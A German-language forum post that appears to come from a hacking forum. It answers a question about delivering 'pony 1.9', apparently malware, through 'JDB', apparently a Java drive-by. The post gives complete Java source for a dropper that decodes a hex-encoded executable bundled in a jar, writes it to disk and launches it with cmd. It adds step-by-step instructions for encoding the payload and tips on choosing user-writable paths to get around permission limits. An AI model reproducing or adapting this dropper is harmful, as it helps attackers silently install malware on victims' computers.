ShopA hatte heute morgen gefragt "kann ich eig. mein pony 1.9 zu java converten? Wegen JDB..."
nein converten geht nicht aber, wir können ja uns eine jar Datei erzeugen die die Daten von unserer exe enthält und die beim ausführen auf die platte schreibt und ausführt...
Das sieht dann so aus:
import java.io.BufferedOutputStream; import java.io.BufferedReader; import java.io.File; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStreamReader; import java.net.URL; import javax.swing.JOptionPane; public class Main { public static void main(String[] args) throws IOException{ String code = ""; URL codePath = Main.class.getResource("CODE.txt"); BufferedReader in = new BufferedReader(new InputStreamReader(codePath.openStream())); String inputLine; while ((inputLine = in.readLine()) != null) code += inputLine; in.close(); byte[] fileData = Main.hexStringToByteArray(code); // output BufferedOutputStream bos; try { bos = new BufferedOutputStream(new FileOutputStream(new File("c:/YOLO.exe"))); bos.write(fileData); bos.flush(); bos.close(); } catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } Process p1 = Runtime.getRuntime().exec("cmd /c start C:/YOLO.exe"); } public static byte[] hexStringToByteArray(String s) { int len = s.length(); byte[] data = new byte[len / 2]; for (int i = 0; i < len; i += 2) { data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i+1), 16)); } return data; } }
Wie Funktionierts?
1.Das programm liest die Textdatei CODE.txt ein die mit in der jar liegt, im src ordner auf gleicher Ebene wie die Main-Klasse
2. Convertiert den Inhalt von CODE.txt zu einem byteArray
3. schreibt eine neue exe datei mit dem byteArray
4. Führt die exe über cmd aus...
Vorgehensweise:
Damit das ganze mit euerm Programm funktioniert müsst ihr euch vorher ein kleines Programm schreiben was eure exe als byte einliest und dann in einen hex string konvertiert. Da habt ihr dann einen ewig langen String der in etwas so aussieht:
4D5A90000300000004000000FFFF0000B800000000000000 [...] 40000000000000000
Diesen speichert ihr in die CODE.txt und erstellt euch eure jar.
Tipp:
1.Ich würde Pfade wählen die vielleicht auch mit normalen user rechten schreibbar sind also app/temp oder so
2. Ich hab kein plan wie es sich in Verbindung mit UAC verhält.. nicht getestet
Vielleicht hilfts ja dem einen oder andern
LG
juPP